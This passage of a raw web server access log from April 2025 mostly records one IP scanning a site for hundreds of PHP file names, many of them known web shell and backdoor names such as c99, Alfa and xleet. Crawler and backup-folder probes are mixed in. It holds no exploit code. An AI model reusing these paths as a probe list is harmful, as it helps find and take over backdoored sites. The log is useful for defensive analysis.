"GET /css.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:20 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:21 -0400] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:29 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:35 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:37 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:40 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:42 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:46 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:48 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:50 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:51 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:53 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:54 -0400] "GET /dxc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:56 -0400] "GET /e69ovfsr.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:00 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:02 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:05 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:07 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:10 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:13 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:17 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:20 -0400] "GET /exif.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:22 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:24 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:27 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:30 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:35 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:38 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:43 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:48 -0400] "GET /fied.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:50 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:52 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:53 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:54 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:55 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:30:59 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:01 -0400] "GET /fxcexgle.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:05 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:07 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:09 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:11 -0400] "GET /getid3-core.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:12 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:13 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:17 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 205.210.31.71 - - [22/Apr/2025:17:31:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 78.153.199.14 - - [22/Apr/2025:17:31:19 -0400] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:21 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:25 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:27 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:30 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:32 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [22/Apr/2025:17:31:35 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 78.153.199.14 - - [22/Apr/2025:17:31:36 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:38 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:39 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:41 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:43 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:45 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:46 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:48 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:49 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:51 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:53 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:55 -0400] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:31:59 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:01 -0400] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:04 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [22/Apr/2025:17:32:04 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 78.153.199.14 - - [22/Apr/2025:17:32:07 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:08 -0400] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:13 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:16 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:20 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:22 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:24 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:27 -0400] "GET /IDhrIlrLb.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:29 -0400] "GET /Js.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:31 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:32 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:35 -0400] "GET /NFXxUAA.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:36 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:37 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:41 -0400] "GET /OK.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:44 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:47 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:49 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:52 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:54 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:55 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:57 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:32:59 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:01 -0400] "GET /add_actualites.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:03 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:04 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:05 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:06 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:07 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:08 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:09 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:10 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:11 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:12 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:13 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:15 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:15 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:16 -0400] "GET /amaxx.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:17 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:19 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:20 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:21 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [22/Apr/2025:17:33:22 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 78.153.199.14 - - [22/Apr/2025:17:33:23 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:24 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:25 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:26 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:30 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:31 -0400] "GET /blog.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:35 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:38 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:40 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:43 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:45 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:47 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:48 -0400] "GET /cache-base.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:33:54 -0400] "GET /cadastro-2.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:34:05 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 54.36.148.32 - - [22/Apr/2025:17:35:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" 1.231.27.245 - - [22/Apr/2025:18:34:09 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:18 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:23 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:25 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:26 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:27 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:28 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:29 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:30 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:31 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:19:10:32 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 66.249.79.101 - - [22/Apr/2025:20:07:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.100 - - [22/Apr/2025:20:07:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.142.125.217 - - [22/Apr/2025:20:33:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 2620:96:e000::d9 - - [22/Apr/2025:20:33:36 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 78.153.199.14 - - [22/Apr/2025:20:35:17 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:22 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:23 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:33 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:34 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:35 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:35 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:37 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:39 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:39 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:40 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:42 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:44 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:45 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:45 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:47 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:48 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:49 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:50 -0400] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:51 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:52 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:53 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:55 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:55 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:56 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:57 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:58 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:35:59 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:01 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:01 -0400] "GET /dxc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:03 -0400] "GET /e69ovfsr.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:04 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:05 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:08 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:09 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:12 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:13 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:14 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:17 -0400] "GET /exif.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:17 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:20 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:21 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:22 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:23 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:25 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:26 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:27 -0400] "GET /fied.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:28 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:30 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:31 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:32 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:33 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:34 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:35 -0400] "GET /fxcexgle.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:36 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:38 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:39 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:40 -0400] "GET /getid3-core.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:42 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:43 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:44 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:45 -0400] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:46 -0400] "GET /headerg.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:47 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:48 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:49 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:50 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:51 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:53 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:56 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:57 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:58 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:36:59 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:01 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:01 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:03 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:06 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:07 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:08 -0400] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:09 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:10 -0400] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:11 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:12 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:13 -0400] "GET /Auth.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:20:37:14 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - 